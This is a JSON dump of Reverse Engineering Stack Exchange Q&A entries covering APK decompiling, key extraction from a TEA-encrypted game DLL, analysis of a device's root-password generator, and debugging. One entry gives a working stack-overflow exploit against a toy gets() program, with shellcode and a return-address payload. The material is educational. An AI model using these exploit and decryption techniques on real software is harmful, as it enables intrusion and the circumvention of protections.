        "Answer": "<p>Yunchao Guan's answer is correct.</p>\n\n<p>For example, i recently unpacked an application (zaka.com.amperemeter-1.apk, yes, it's zaka.com, not com.zaka as it shoule be) to improve the bad German translation that had been done by google translate.</p>\n\n<p>Unzipping the .apk, using dex2jar on the .dex, and procyon on the resulting jar gave me, for example:</p>\n\n<pre><code>unzip/procyon/gluapps/Ampere/meter/Activity/MainActivity.java:240\n    return this.getString(2131099670)\n</code></pre>\n\n<p>ALSO, procyon gave me an R.java that has a name for that number:</p>\n\n<pre><code>unzip/procyon/gluapps/Ampere/meter/R.java:909\n    public static final int Usb_plug_type = 2131099670;\n</code></pre>\n\n<p>So you really should get a R.java source code from decompiling. In case you don't, <code>apktool d zaka.com.amperemeter-1.apk</code> gives you several files that have the same number, in hex, in smali files:</p>\n\n<pre><code>work/smali/gluapps/Ampere/meter/R$string.smali:20\n   .field public static final Usb_plug_type:I = 0x7f060016\nwork/smali/gluapps/Ampere/meter/Activity/MainActivity.smali:477\n    const v1, 0x7f060016\n</code></pre>\n\n<p>these are basically the same as in the decompiled java files. Additionally:</p>\n\n<pre><code>work/res/values/public.xml:473\n    &lt;public type=\"string\" name=\"Usb_plug_type\" id=\"0x7f060016\" /&gt;\n</code></pre>\n\n<p>This is the key that maps to the actual, translated, string in the language-dependent file:</p>\n\n<pre><code>work/res/values-de/strings.xml:25\n    &lt;string name=\"Usb_plug_type\"&gt;USB&lt;/string&gt;\n</code></pre>\n\n<p>So, with a normal apk, if you use unzip/dex2jar/decompiler/apktool correctly, everthing should be there. If not, it would be best if you provided a link to the apk, because something weird might be going on with yours, but there's no way to tell unless you give us a chance to look at your specific apk.</p>\n"
    },
    {
        "Id": "12735",
        "CreationDate": "2016-05-25T07:25:12.067",
        "Body": "<p>So I have an android game. Its <code>Assembly-CSharp.dll</code> causes <code>.NET Reflector</code> to show</p>\n\n<blockquote>\n  <p>File is not a portable executable. DOS header does not contain 'MZ'\n  signature</p>\n</blockquote>\n\n<p>It's encrypted. The app seems to decrypt that assembly at app launch time.</p>\n\n<p>So I used <code>UltraCompare</code> to point out what is changed from previous version(It wasn't encrypted).</p>\n\n<p><code>classes.dex</code> was identical, so no java code was changed.<br />\n<code>libmain.so</code> and <code>libunity.so</code> was identical, but <code>libmono.so</code> had a big change.</p>\n\n<p>There was some new added symbols which seem to be related with encryption such as <code>TEAEncrypt</code>, <code>TEADecrypt</code>, <code>TEAEncryptString</code>, <code>TEADecryptString</code>, and some\nmono library's C# internal call routine like <code>ves_icall_System_Security_SecureString_EncryptInternal</code>.</p>\n\n<p>If it's the means of the encryption, I wander where are those functions called.</p>\n\n<p>There was some changes to <code>Assembly-CSharp-firstpass.dll</code>, <code>Assembly-UnityScript.dll</code>, <code>Assembly-UnityStript-firstpass.dll</code> with <strong>a same change pattern</strong>. I can't figure out what does this means.</p>\n\n<p>So where can be the <strong>Assembly-CSharp.dll</strong> decrypted at runtime?\nOr is there another way without decrypting that at runtime?</p>\n",
        "Title": "Where can be assembly-csharp.dll decrypted?",
        "Tags": "|dll|",
        "Answer": "<p>Mono is, basically, open source. So anyone can create a Mono implementation that, whenever it reads a chunk of a CIL DLL file, applies encryption to it. Maybe Unity delivers a libmono.so that does encryption with its newest version; maybe the vendor of the game implemented something themselves. You could start checking patch notes of Unity to learn if this is an official new feature; if not, it's likely that the game vendor created their own encrypting libmono.so.</p>\n\n<p>Your TEA functions are, most likely, called within the libmono.so itself. If i had to implement something like that, i'd write wrapper functions <code>TEAopen</code>, <code>TEAread</code>, <code>TEAclose</code> for <code>fopen</code>, <code>fread</code>, <code>fclose</code> that decrypt on reading the file, then replace the <code>f-*</code> functions in the mono-code that reads a DLL with the <code>TEA-*</code> functions.</p>\n\n<p>TEA encryption works with 8-byte chunks, which may be one of the reasons it was used here; if you want to read just a part of the file, you don't need to read everything before your part, except a few bytes to fill the 8-byte-block. But this also means the same 8 input bytes will always result in the same 8 output bytes, if your original DLL has areas with a lot of '\\0' bytes, they will result in the same 8 bytes repeated over and over in the encrypted DLL.</p>\n\n<p>While <a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.40.4708&amp;rep=rep1&amp;type=pdf\" rel=\"nofollow\">TEA has a weakness that turns a 128 bit key into 126 effective bits, there seems to be no known plaintext attack on it</a>. This means, your observed same change pattern won't help you. So you need to extract the key from the mono implementation yourself. Disassemble that file, especially the <code>TEAEncrypt</code> and <code>TEADecrypt</code> functions. They should look somewhat like the code from the <a href=\"https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm\" rel=\"nofollow\">Wikipedia article</a>. Their second parameter is the key; either try to find out where that key is stored/generated, or do some dynamic analysis, put a breakpoint on those functions, and check what the parameter they get actually is. Also, check if it's really a standard TEA implementation, or maybe XTEA or a different key schedule constant or something. Once you have the key, find a program that takes a file and a TEA key and decrypts it, or roll your own; this shouldn't be too difficult as there are lots of open source TEA implementations in any language of your choice.</p>\n"
    },
    {
        "Id": "12746",
        "CreationDate": "2016-05-26T20:01:33.500",
        "Body": "<p>Here is my question:</p>\n\n<p>given a marked C code component, how I can find its corresponding assembly instructions in the compiler produced assembly program?</p>\n\n<p>It should be very easy if the marked component is a function, as long as there is no overlapped assembly program, we can just do a linear search and recognize the function in the compiler-produced code.</p>\n\n<p>Then how about the marked component is a loop statement? Or even an arithmetic statement? Is there any good solution at this time?</p>\n\n<p>Could anyone give me some help? Thank you!</p>\n",
        "Title": "Recognize certain components in the compiler produced assembly program",
        "Tags": "|assembly|compilers|decompiler|",
        "Answer": "<p>TL;DR: Hope for some magic numbers, or string constants you can xref, or you're in for a lot of manual work.</p>\n\n<p>Searching for an arithmetic statement that doesn't include a very specific magic number, or searching for a loop without any surrounding context, is bound to fail. There's just too much code that's way too similar in your program. So you should at least try to find your function, then match the disassembled function to your source code.</p>\n\n<p>But, you should clarify your use case a bit. What do you have? And what are you looking for?</p>\n\n<p>For example, if you have full source code, compile your program with debugging information, and you have everything you need. But this isn't a question for RE.</p>\n\n<p>Or, you have full source code, have delivered a binary to a customer, and for some reason, want the customer to patch the binary instead of sending a new version to them. In this case, recompiling <em>the same version of your program</em> with the same compiler settings should yield some binary code that, except global variable references and jump destinations, should be the same as your delivered binary had. Comparing partial byte sequences should do the trick, and this is more or less how IDA's FLIRT and many antivirus programs work. Still not a question for RE though.</p>\n\n<p>Or, you have a binary, and suspect it includes some open source library. Comparing the binary with the version of the library you compiled yourself will probably not help you, because unless you use the exact same version of library, compiler version, compiler flags, and probably phase of the moon, your compiler won't produce what the original compiler produced. In this case, magic numbers, or string xrefs, are sometimes helpful. For example, in <a href=\"https://reverseengineering.stackexchange.com/questions/12735/where-can-be-assembly-csharp-dll-decrypted\">this question</a>, the OP is looking for which part of the library does some TEA encryption. In his case it's easy as he has a .so with exported symbols, but if he didn't, searching for byte sequences <code>0x9e3779b9</code> and/or <code>0xC6EF3720</code> could help. This is what <code>binwalk</code> does. Also, those libraries often have error message strings, finding them and their xrefs leads you to the compiled version of the function. If you're lucky, the source code has some <code>assert()</code>-like macros that didn't get commented out during release compile, in that case you get a very nice match between source code and binary.</p>\n\n<p>If this doesn't work, things start getting hairy. Once when i had a similar problem, i ended up writing an IDA script that counted the number of <code>call</code> statements per function, and the number of jumps backwards, i.e. loops. I ran this over the binary i wanted to re, and also over the code i was looking for. Then, i manually matched functions to each other based on the number of calls they had, the number of loops, and their respective position in the source code. You can probably try to be clever and automate the matching, depending on how often you need this.</p>\n\n<p>If the compiler optimized a lot, you really need to analyze a lot of stuff manually. If your function is small, it might get inlined by the compiler, and suddenly the arithmetic expression you're looking for is repeated in dozens of places. Your loop might get unrolled so there's no loop left to find.</p>\n\n<p>And the creator of the software might have modified the original source so you can't match it to the binary any more. I reversed some software a year ago that gets some encrypted HTML from somewhere and renders it to a bitmap. From the strings within the binary, it was easy to determine that the software uses the <a href=\"http://www.dillo.org\" rel=\"nofollow noreferrer\">dillo</a> code to do the rendering. But i just wasn't able to match the binary code to the source - first, because i didn't know which version of dillo got used, and second, because they modified the code to decrypt just as much as needed on the fly, and overwrite the decrypted HTML with junk as soon as they didn't need it anymore. So every character comparison and each of the standard string function calls was (probably) replaced in the source, then the replacements got inlined (or were macros in the first place). This trashed my loop counts, subroutine call counts, and everything - i don't think there's any good, automated way through this kind of mess.</p>\n"
    },
    {
        "Id": "12757",
        "CreationDate": "2016-05-29T00:24:12.737",
        "Body": "<p>I found a binary on a device I've been working on, it's called <code>genrandpass</code> and the only user input is a public key (which is a .bin file) that's stored locally on the device. It also gathers some other information, possibly from the environment to produce three passwords (there is a reference to the Box ID using <code>strings</code>). Looking thru the shell scripts pertaining to <code>genrandpass</code>, it takes the three generated passwords and:</p>\n<ul>\n<li>uses the first password as the root password</li>\n<li>uses the second password is called <code>$epass</code> and the third is called <code>$spass</code> (I only note the names in case it means anything to someone smarter than I.)</li>\n<li>it then copies <code>$epass</code> and <code>$spass</code> to the dropbear banner file and these are displayed whenever someone connects to dropbear (prior to even logging in).</li>\n</ul>\n<p>This makes me think that the developer had intended on being able to use the <code>$epass</code> and <code>$spass</code> variables to generate the actual root password. There are a few certificates and one Private key (decryption.pem) on the box itself. Not sure if it's the right key to decipher the code but I'd like to try because I have a few other models of these boxes that I haven't been able to break into yet. I'm just not sure what the correct commands are to try. Any ideas?</p>\n<p>genrandpass file at <a href=\"https://dl.dropboxusercontent.com/u/23091/genrandpass\" rel=\"nofollow noreferrer\">https://dl.dropboxusercontent.com/u/23091/genrandpass</a></p>\n<p>examples of the last 2 passwords generated:</p>\n<blockquote>\n<p><strong>$epass</strong>: SxTV2Z7TFvU0XKP/lYYTDlKAhlRR2jwkDGbWPF68go/oOx6x4Pr5DeyNRlx9oQGF05sHld/vyXXchmxlbzsVzPIwocWIq3OIr3J+ZFJrJYPss9VE7YWrwpyRlGwTVHDvZGIzCKXcaipJd85ldLiWUrNxMl4g+5kzwVA2a3I8LuiuixRFVmc8ji/W2W5ZeU5FTcbaiNjlpoRHjPFUkvHKJ4nHSfXpZuLDRS53hxcSnb8ZmvTmFP4ITAdyj9Yw+C2pvD+gSEWRB/H+1cFPQOTi7wr/FY8266QEWqGZw30ZEsMCUNCC0DgiIX+H68QKcU8QFYUJC5+vui3BtcOfFXKHZl==</p>\n<p><strong>$spass</strong>:\nRtcTy7fJ11XAQi1P2HiZM4MAxMZMA2NlD6wZL8jNYdrSL5i8qtkGztKDccmGqRWgjiVKI7TcVNcX3PhUSB3UfQCAF6KpBvH7NNezkExdwdM3W2mSnXJvyRLpDSJEgALs0wurUrqIYClZOjTc+xiJzOIUP0Gxb4d2ADOaKXHQ6n6H2Ss/1smITjrbXJ1K8RentZu26sAy3DW+zRIxtxnktSAGUscdG1oytlOL15aAROSL27NUcPSoA3+4o76zggq5TspIBTSmidVRUccEdXPyAzZggR0yqGNrm99uJXHlhw4zCW+GzKJFsJSTwDHZvCoeLERCLuyXFVrgmIISKf6E2V==</p>\n</blockquote>\n",
        "Title": "Help deciphering binary that creates 3 passwords",
        "Tags": "|encryption|mips|embedded|",
        "Answer": "<p>Your code has a function at 0x400960 that looks like a main function, and, omitting all initialization (everything gets initialized to 0) and error checking, looks like this:</p>\n\n<pre><code>char input_file_buffer[256];\n\nint finder_id_size=16;\nchar finder_id[16];\n\nint temp_256=256;\nchar finder_public_key[256];\n\nchar password[31];\n\nint temp_32=32;\nchar sha_buffer[256];\nchar rsa_buffer[256];\nchar base64_input[256];\nchar base64_output[345];\n\nFILE *fp=fopen(argv[1], \"rb\");\nfread(input_file_buffer, 256, 1, fp);\nfclose(fp);\n\nget_finder_public_key(finder_id, &amp;finder_id_size,\n                    finder_public_key, &amp;finder_public_key_size);\n\nmake_password(password, 30);\n\nprintf(\"%s\\n\", password);\n\nmemmove(sha_buffer+32, password, 30);\nmemmove(sha_buffer+63, finder_id, 16);\nrun_sha256(sha_buffer, 256, rsa_buffer+36, &amp;temp_32);\nrun_rsa_public_decrypt(sha_buffer, 256, base64_input, &amp;temp_256,\n                            input_file_buffer, 256);\n    // base64_encode is a loop calling encodeblock, not a function,\n    // in the original binary. Encodeblock encodes 3 bytes binary\n    // input 4 bytes base64 output.\nbase64_encode(base64_input, 256, base64_output, 345);\nprintf(\"%s\\n\", base64_output);\n\nrsa_buffer[32]=htonl(1);\nrun_rsa_ks(rsa_buffer, 256, base64_input, &amp;temp_256);\nbase64_encode(base64_input, 256, base64_output, 345);\nputs(base64_output);\n</code></pre>\n\n<p>So, (because some of the functions are in a shared libary, a part of this is assumptions) your code:</p>\n\n<ul>\n<li>generates a random password (make_password doesn't have any input)</li>\n<li>outputs that random password</li>\n<li>runs sha256 over a combination of that password and the id of your finder</li>\n<li>runs RSA \"decryption\" over the sha output, with the public key coming from your input file (?)</li>\n<li>outputs the base64 encoded RSA data</li>\n<li>runs rsa_ks over the different part of the sha output (a 32 byte buffer of something, preceded by a 1, somewhere in the middle of a 256 byte buffer?)</li>\n<li>outputs the result of rsa_ks.</li>\n</ul>\n\n<p>In RSA, you encrypt a message with someone's public key so the someone can use their private key to decrypt it, or you encrypt something with your private key to prove your identity (because the public key can be used to decrypt it). Thus i wouldn't put too much weight on the fact the rsa function is called \"decrypt\".</p>\n\n<p>I'd assume the run_sha function generates a random 32 bit key, uses that to do the encryption, and saves it to what i call <code>rsa_buffer</code>. Later, run_rsa_ks (ks for key save) rsa-encrypts that sha key. So, if you lose the root password to a device, and ask the vendor for help, they</p>\n\n<ul>\n<li>use the private key to decrypt the second code, to get the sha key</li>\n<li>use the private key to decrypt the first code, to get the sha output</li>\n<li>use the sha key and the sha output to get a buffer that contains your root password, and the finder id</li>\n<li>verify if the finder id matches the id you told them</li>\n<li>tell you the root password.</li>\n</ul>\n\n<p>Unfortunately, and as i already said in my comment, this means unless you can crack rsa, and don't have any other means to get the private key, your quest ends here. Unless the vendor used a very weak RSA key, but this isn't very probable when they used the effort they did to secure the root password.</p>\n\n<p><strong>Update</strong>: I glanced over some of the functions in that libjsonsigner.so, and the <code>get_finder_id_public_key</code> as well as the rsa functions use a device named <code>/dev/vixs/xcodedrv</code>, which hints at a <a href=\"http://www.vixs.com/index-ee.php/products/product/xcode\">video hardware chip</a>.  There's a <code>get_certificate</code> function as well which uses a <code>get_device_certx</code> function that uses the same device. So at least a part of the certificate stuff, as well as the rsa encryption, seem to be hardware-assisted. This means without dynamical analysis on the actual hardware, good chip documentation, and a <em>lot</em> of time, you won't get very much farther (and will probably still smash into a wall at some point because of RSA).</p>\n"
    },
    {
        "Id": "12762",
        "CreationDate": "2016-05-29T21:15:47.713",
        "Body": "<p>I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation fault\nwhen I run it normally </p>\n\n<p>Here is the vulnerable program </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nchar *secret = \"Password\";\n\nvoid go_shell()\n{\n    char *shell =  \"/bin/sh\";\n    char *cmd[] = { \"/bin/sh\", 0 };\n    printf(\"Would you like to play a game...\\n\");\n    setreuid(0);\n    execve(shell,cmd,0);\n}\n\nint authorize()\n{\n    char password[64];\n    printf(\"Enter Password: \");\n    gets(password);\n    if (!strcmp(password,secret))\n        return 1;\n    else\n        return 0;\n}\n\nint main()\n{\n    if (authorize())\n    {\n        printf(\"login successful\\n\");\n        go_shell();\n    } else {\n        printf(\"Incorrect password\\n\");\n    }\n    return 0;\n}\n</code></pre>\n\n<p>compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -g</p>\n\n<p>ASLR turned off </p>\n\n<p>Here is My payload in assembly </p>\n\n<pre><code>section .text\nglobal _start\n\n_start:\nxor rax, rax ; syscall\nxor rdi, rdi ; arg1\nxor rsi, rsi ; arg2\nxor rdx, rdx ; arg3\n\n; write(int fd, char *msg, unsigned int len)\nnop\nmov al, 1\ninc di\ninc di\n;Owned!!! =  4f,77,6e,65,64,21,21,21\n;push !,!,!,d\n;push e,n,w,O\nmov rcx,0x21212164656e774f\npush rcx\nmov rsi, rsp\nmov dl, 8 \nsyscall\n\n; exit(int ret)\n;xor rax,rax\nmov al, 0x3c\nxor rdi, rdi\nsyscall\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/1dSBX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1dSBX.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>#!/usr/bin/perl\nprint \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"; // extra padding\nprint \"\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\";\nprint \"\\xb0\\x01\\x66\\xff\\xc7\\x66\\xff\\xc7\\x48\\xb9\\x4f\\x77\";\nprint \"\\x6e\\x65\\x64\\x21\\x21\\x21\\x51\\x48\\x89\\xe6\\xb2\\x08\";\nprint \"\\x0f\\x05\\xb0\\x3c\\x48\\x31\\xff\\x0f\\x05\";\nprint \"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"; // rbp\nprint \"\\xd8\\xe1\\xff\\xff\\xff\\x7f\\x00\\x00\"; //return address\n</code></pre>\n\n<p>On debugger </p>\n\n<p><a href=\"https://i.stack.imgur.com/Ap5gp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ap5gp.png\" alt=\"enter image description here\"></a></p>\n\n<p>While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error \nAny Solution on whats happening here ?  </p>\n",
        "Title": "Stack smashing in X86_64 leads to Segmentation fault .",
        "Tags": "|assembly|x86|exploit|stack|",
        "Answer": "<p>The issue was that the OS pushes some env on the stack which creates this offset in memory when the program is run on gdb ,which can be resolved by removing the env . \nmore about this can be found at <a href=\"https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966\">https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966</a></p>\n"
    },
    {
        "Id": "12768",
        "CreationDate": "2016-05-30T23:11:05.660",
        "Body": "<p>What is the reason behind the byte scission (the next immediate byte following \"int 2d\" is skipped) behaviour when executing INT 0x2D?\nI came across this article <a href=\"http://www.drdobbs.com/monitoring-nt-debug-services/184416239\" rel=\"nofollow\">http://www.drdobbs.com/monitoring-nt-debug-services/184416239</a> but still cannot understand what is the reason for Windows to skip the byte.\nAny explanation is welcome. Thanks.</p>\n",
        "Title": "What is the reason for INT 0x2D byte scission?",
        "Tags": "|anti-debugging|",
        "Answer": "<p>From what I can tell, it\u2019s because the <code>int 0x2d</code> instruction is supposed to be immediately followed by a <code>int3</code> breakpoint opcode, which in turn is presumably a graceful degradation/backwards compatibility feature.</p>\n<p>Interrupt 0x2d is a debugger hook, used to pass information from the debugged program to the debugger; presumably the ultimate place where APIs like <a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-dbgprintex\" rel=\"nofollow noreferrer\"><code>DbgPrintEx</code></a> are implemented.  A debugger that traps interrupt 0x2d will respond to the hook invocation, skip the <code>int3</code> opcode that follows, and resume execution normally.  A more primitive debugger that ignores interrupt 0x2d will instead trap the <code>int3</code> opcode, allowing the user to examine register state and respond to the hook call manually; or to patch a <code>nop</code> instruction over the breakpoint opcode to ignore the hook from now on.</p>\n<p>If you disassemble BOOTMGR.EXE (the PE executable extracted from BOOTMGR), MEMTEST.EXE, WINLOAD.EXE or NTOSKRNL.EXE, you will see the <code>int 0x2d</code> / <code>int3</code> sequence appear.  Those are boot-time and/or kernel-mode programs which execute in a different environment from normal Windows applications, but the debugger ABI they are subject to is presumably the same.</p>\n"
    },
    {
        "Id": "12772",
        "CreationDate": "2016-06-01T03:22:04.570",
        "Body": "<p>There was once a disassembler on DOS named <strong>Sourcer</strong> that can disassembly BIOS routines. However, how do we access to BIOS ROM from software to do such a thing?</p>\n",
        "Title": "How can BIOS routines be disassemblied?",
        "Tags": "|disassembly|bios|",
        "Answer": "<p>In the old days, you could usually dump the high part of the 1MB memory (e.g. E000:0000 to F000:FFFF) to retrieve the copy of your BIOS ROM, but nowadays the BIOS no longer fits into 64K or even 128K so all that you'd get would be a copy of the UEFI's CSM (Compatibility Support Module) with most of the code elsewhere, usually above the 1MB mark. </p>\n\n<p>To retrieve the actual, full BIOS code, you need to read the ROM from the flash chip. This may be possible from the same machine, e.g. by using <a href=\"https://www.flashrom.org/\">flashrom</a> or sometimes the board vendor's firmware update tool if it offers a \"backup\" option. Sometimes the access to the flash may be blocked from the OS (to prevent BIOS modification by malware) and  in such cases you may have to use an external flash programmer.</p>\n\n<p>Once you got the copy of the ROM, you can start disassembling it. However, keep in mind that modern BIOSes usually implement the UEFI standard, where only a small part of the code (around the reset vector) is 16-bit while most of the code runs in 32-bit (or 64-bit) protected mode, usually using modules implemented in the PE(Portable Executable) format. Since even the structure of the UEFI firmware's ROM is standardized, you can often use a tool such as <a href=\"https://github.com/LongSoft/UEFITool\">UEFITool</a> to extract individual modules for analysis. For more info on UEFI, see the UEFI and PI standards, available for free from <a href=\"http://www.uefi.org/specifications\">www.uefi.org</a>.</p>\n"
    },
    {
        "Id": "12774",
        "CreationDate": "2016-06-01T09:02:39.753",
        "Body": "<p>I am trying to read through Matt Pietrek article on \"A Crash Course on the Depths of Win32 Structured Exception Handling\" linked <a href=\"https://www.microsoft.com/msj/0197/exception/exception.aspx\" rel=\"nofollow\">here</a>. In the section titled <strong><em>Compiler-level SEH</em></strong>, he writes:</p>\n\n<blockquote>\n  <p>Now that you know that a _try block corresponds to an EXCEPTION_REGISTRATION structure on the stack, what about the callback function within the EXCEPTION_ REGISTRATION? Using Win32 terminology, the exception callback function corresponds to the filter-expression code. To refresh your memory, the filter-expression is the code in parens after the _except keyword. It's this filter-expression code that decides whether the code in the subsequent {} block will execute.</p>\n</blockquote>\n\n<p>At this point, I am a bit confused. All along, until this point I thought that the callback function is the function that is going to handle the exception, i.e. the code inside the _except block. Kindly help me understand this.</p>\n\n<p>Also, if the filter-expression code corresponds with the callback function, then what corresponds to the code inside '{}' after the filter-expression?</p>\n",
        "Title": "Win32 Structured Exception Handling in MS C++ - Mapping compiler code to assembly code",
        "Tags": "|windows|x86|c++|exception|seh|",
        "Answer": "<p>In case of the compiler-level SEH, the <em>callback invoked by the OS</em> is the compiler-provided function, usually <code>__except_handler3</code> or similar. Once called, it inspects the stack, retrieves the trylevel, looks up the corresponding scopetable entry and calls the exception filter (<code>lpfnFilter</code>). If the filter returns non-zero, the handler (<code>lpfnHandler</code>) is invoked - <em>this</em> is the code corresponding to the code inside the <code>__except/__finally</code> block.\nFor a specific example, check Appendix I here: <a href=\"http://www.openrce.org/articles/full_view/21\" rel=\"nofollow\">http://www.openrce.org/articles/full_view/21</a></p>\n\n<p>Note that <strong><em>C++ EH</em></strong> uses a somewhat more complicated approach compared to \"simple\" SEH to ensure proper semantics (such as automatic object destruction during unwinding), so it's not as easy to map back to source code, but doable (see Appendix II in the above article).</p>\n\n<p>BTW, in recent Visual Studio versions, Microsoft provides almost complete CRT source, including the implementation of <code>__except_handlerN</code> and <code>___CxxFrameHandler</code>, so you could look there too (e.g. <code>\\Program Files (x86)\\Microsoft Visual Studio 11.0\\VC\\crt\\src\\eh\\frame.cpp</code>).</p>\n"
    },
    {
        "Id": "12776",
        "CreationDate": "2016-06-01T11:50:01.820",
        "Body": "<p>I am testing a malware that built as COM EXE service. This exe file has a digital signature.<br />\nI succeeded to remove the digital signature for trying to modify it for reverse engineering tests.</p>\n<p>But when I open it in OllyDbg and make any tiny change, the malware crash and not runs at all. Even if I tries to change one byte in the code cave to <code>nop</code> command, the malware not running.</p>\n<p>Why can't I change it even in the code cave? Any idea?</p>\n",
        "Title": "Crash after exe modification",
        "Tags": "|ollydbg|malware|com|",
        "Answer": "<p>@Karim's idea is right. Another thought is that your malware might be checking windows' registry debug flags. Since Olly runs dynamic analysis, your .exe recognises it and stops working if any changes applied during debugging proccess.</p>\n"
    },
    {
        "Id": "12778",
        "CreationDate": "2016-06-02T02:53:00.893",
        "Body": "<p>I want to log any functions within a specific module that are called during an execution. </p>\n\n<p>I tried !for_each_function and wt command. However, since the target module doesn't have any symbols, !for_each_function cannot recognize any functions. wt command seems only able to trace with one function.</p>\n\n<p>I know IDA debugger can trace function calls. But my current problem is that I only want to trace the functions in a specific module. I'm not sure if IDA can do that. Also I'm wondering if IDA debugger can break on module load (similar to 'sxe ld:modulename' in windbg..</p>\n\n<p>I actually just need the address of all the function that are called. I was thinking if there is any way to set breakpoint on all RET within a module...But haven't figure out how to do that ... </p>\n",
        "Title": "Can Windbg trace function calls within a module?",
        "Tags": "|windbg|",
        "Answer": "<p>opening calc.exe in windbg </p>\n\n<pre><code>windbg calc    \n</code></pre>\n\n<p>skipping all the ldrint system calls </p>\n\n<pre><code>bp calc!WinMain ; g    \n</code></pre>\n\n<p>tracing only calc module from eip to some specific address and printing the return values\n(please note using arbitrary values as EndAddress may possibly corrupt the \ncode by inserting 0xcc in middle of instruction )  </p>\n\n<pre><code>0:000&gt; wt -l 2 -oR -m calc =@eip @eip+5fa   \n</code></pre>\n\n<p>trace result with return values (trimmed )</p>\n\n<pre><code>   30     0 [  0] calc!WinMain\n    5     0 [  1]   kernel32!GetModuleHandleWStub\n    1     0 [  1]   kernel32!GetModuleHandleW\n   11     0 [  1]   KERNELBASE!GetModuleHandleW eax = b40000\n   32    17 [  0] calc!WinMain\n   11     0 [  1]   USER32!LoadStringW eax = a\n   36    28 [  0] calc!WinMain\n    3     0 [  1]   calc!CCalculatorSQM::onAppEntry\n    5     0 [  2]     msvcrt!time\n   24     0 [  2]     msvcrt!_time32 eax = 574fd43e\n    5    29 [  1]   calc!CCalculatorSQM::onAppEntry eax = 574fd43e\n   41    62 [  0] calc!WinMain\n   12     0 [  1]   calc!McGenEventRegister\n   38     0 [  2]     ntdll!EtwEventRegister eax = 0\n   14    38 [  1]   calc!McGenEventRegister eax = 0\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n  364 12901 [  0] calc!WinMain\n   24     0 [  1]   USER32!GetMessageW eax = 1\n  372 12925 [  0] calc!WinMain\n   21     0 [  1]   USER32!TranslateAcceleratorW eax = 0\n  378 12946 [  0] calc!WinMain\n   19     0 [  1]   calc!CContainer::HandleGlobalTabbing eax = 0\n  382 12965 [  0] calc!WinMain\n\n13347 instructions were executed in 13346 events (0 from other threads)\n</code></pre>\n\n<p>summary and wt broke where instructed</p>\n\n<pre><code>ole32!CoInitialize                                    1       8       8       8\noleacc!ATL::CComObject&lt;CPropMgr&gt;::Release             1      16      16      16\noleacc!CPropMgr::SetHwndPropStr                       5      66      66      66\n\n0 system calls were executed\n\neax=000cf030 ebx=00000000 ecx=00b94210 edx=76f070b4 esi=00b94210 edi=766e667e\neip=00b41c2f esp=000cef5c ebp=000cfcc4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\ncalc!WinMain+0x7d5:\n00b41c2f e8e2010000      call    calc!CEditBoxInput::HandleWinMainMessage (00b41e16)\n0:000&gt; ? calc!WinMain+5fa\n\nnote eip expression and EndAddress in wt command \n    Evaluate expression: 11803695 = 00b41c2f\n</code></pre>\n"
    },
    {
        "Id": "12782",
        "CreationDate": "2016-06-02T08:57:08.403",
        "Body": "<p>I have a memory dump of a VM running Windows server 2012 R2. The dump is of the entire RAM (4 GB).</p>\n\n<p>I want to extract as many features as possible from this dump. Mainly I want to extract all stacks of all threads running on the machine and exist in the memory. Alternatively, I want to extract call sequences of all threads.</p>\n\n<p>Are there any tools / tutorials / books etc. which can help me perform this task?</p>\n\n<p>I am familiar with both Volatility and Rekall, are there any specific plugins that can help me achieve my goals there?</p>\n",
        "Title": "Extracting threads' stack from Windows memory dump",
        "Tags": "|digital-forensics|callstack|thread|stack|process|",
        "Answer": "<ul>\n<li>Extract full memory area for each process</li>\n<li>In each process get TIB for each thread in the process</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow\">TIB</a> will help you to get to the start/bottom of the stack memory area for each thread</li>\n<li>all of the above you can do with Volatility of Rekall. Go over respectful documentation for plugins (pstree, threads, procdump)</li>\n<li><a href=\"http://librecrops.github.io/lost-sdk/\" rel=\"nofollow\">OS</a> internal structs will also be helpful</li>\n</ul>\n\n<p>Now, if you can elaborate a little bit more on what are you trying to find. I'll probably will be give more specific instructions.</p>\n\n<p>Good luck.</p>\n"
    },
    {
        "Id": "12788",
        "CreationDate": "2016-06-03T01:25:02.340",
        "Body": "<p><a href=\"https://i.stack.imgur.com/NxwnG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NxwnG.png\" alt=\"enter image description here\"></a>i have been working on a bug for almost a year trying to figure out how i can fix it.\nthe app is suppose to show some message like (\"Processing\")to notify a user that the main function is executed, so since Delphi is easy to reverse with its strings. i have searched for encryption using Olly's SnD Crypto plugin and\ni have found the following</p>\n\n<pre><code> CRC32(table)\n CRC32b(table)\n MD5\n SHA1\n SHA256\n Base64 alphabet\n Base64 alphabet(Unicode/VB)\n ENIGMA encryption algorithm(WiteG)\n RC4 encryption algorithm\n</code></pre>\n\n<p>according to the plugin Enigma was used to protect two pieces in CODE section which i thought is hiding an Algorithm. \nRC4 is protecting most pieces of the DATA sections probably the Base64 encoded strings so dealing with strings is a none start for me because if it wasn't like that i would look for a messagebox Api or Search for strings.</p>\n\n<p>i would like to Decrypt Enigma then simply follow through since the app is an email transporter i will know the function and in i will be able to see where the message should be executed.</p>\n\n<p>how can i decrypt ENIGIMA thats mostly my 